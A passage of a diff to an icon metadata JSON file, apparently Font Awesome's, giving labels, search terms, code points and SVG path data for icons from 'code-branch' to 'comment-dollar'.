"solid" + ], + "unicode": "f126", + "label": "Code Branch", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635413, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z" + } + }, + "free": [ + "solid" + ] + }, + "codepen": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1cb", + "label": "Codepen", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860974, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z" + } + }, + "free": [ + "brands" + ] + }, + "codiepie": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f284", + "label": "Codie Pie", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860974, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 472 512\"><path d=\"M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "472", + "512" + ], + "width": 472, + "height": 512, + "path": "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z" + } + }, + "free": [ + "brands" + ] + }, + "coffee": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "beverage", + "breakfast", + "cafe", + "drink", + "fall", + "morning", + "mug", + "seasonal", + "tea" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0f4", + "label": "Coffee", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635415, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z" + } + }, + "free": [ + "solid" + ] + }, + "cog": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "gear", + "mechanical", + "settings", + "sprocket", + "wheel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f013", + "label": "cog", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635416, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "cogs": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "gears", + "mechanical", + "settings", + "sprocket", + "wheel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f085", + "label": "cogs", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635416, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z" + } + }, + "free": [ + "solid" + ] + }, + "coins": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "dime", + "financial", + "gold", + "money", + "penny" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f51e", + "label": "Coins", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635417, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z" + } + }, + "free": [ + "solid" + ] + }, + "columns": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser", + "dashboard", + "organize", + "panes", + "split" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0db", + "label": "Columns", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635417, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z" + } + }, + "free": [ + "solid" + ] + }, + "comment": { + "changes": [ + "1", + "5.0.0", + "5.0.9", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "bubble", + "chat", + "commenting", + "conversation", + "feedback", + "message", + "note", + "notification", + "sms", + "speech", + "texting" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f075", + "label": "comment", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635426, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7S4.8 480 8 480c66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32z" + }, + "regular": { + "last_modified": 1628088634755, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "comment-alt": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "bubble", + "chat", + "commenting", + "conversation", + "feedback", + "message", + "note", + "notification", + "sms", + "speech", + "texting" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f27a", + "label": "Alternate Comment", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635421, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 9.8 11.2 15.5 19.1 9.7L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64z" + }, + "regular": { + "last_modified": 1628088634753, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "comment-dollar": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bubble", + "chat", + "commenting", + "conversation", + "feedback", + "message", + "money", + "note", + "notification", + "pay", + "sms", + "speech", + "spend", + "texting", + "transfer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f651", + "label": "Comment Dollar", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635422, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 256-93.12 256-208S397.38 32 256 32zm24 302.44V352c0 8.84-7.16 16-16 16h-16c-8.84 0-16-7.16-16-16v-17.73c-11.42-1.35-22.28-5.19-31.78-11.46-6.22-4.11-6.82-13.11-1.55-18.38l17.52-17.52c3.74-3.74 9.31-4.24 14.11-2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.11l-50.07-14.3c-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v17.73c11.42 1.35 22.28 5.19 31.78 11.46 6.22 4.11 6.82 13.11 1.55 18.38l-17.52 17.52c-3.74 3.74-9.31 4.24-14.11 2.03a24.516 24.516 0 0 0-10.26-2.22h-32.78c-4.66 0-8.44 3.78-8.44 8.42 0 3.75 2.52 7.08 6.12 8.11l50.07 14.3c22.25 6.36 40.01 24.71 42.91 47.67 4.05 32.06-19.03 59.42-49.32 63.04z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95.01 57.02 130.74C44.46 421.05 2.7 465.97 2.2 466.5A7.995 7.995 0 0 0 8 480c66.26 0 115.99-31.75 140.6-51.38C181.29 440.93 217.59 448 256 448c141.38 0 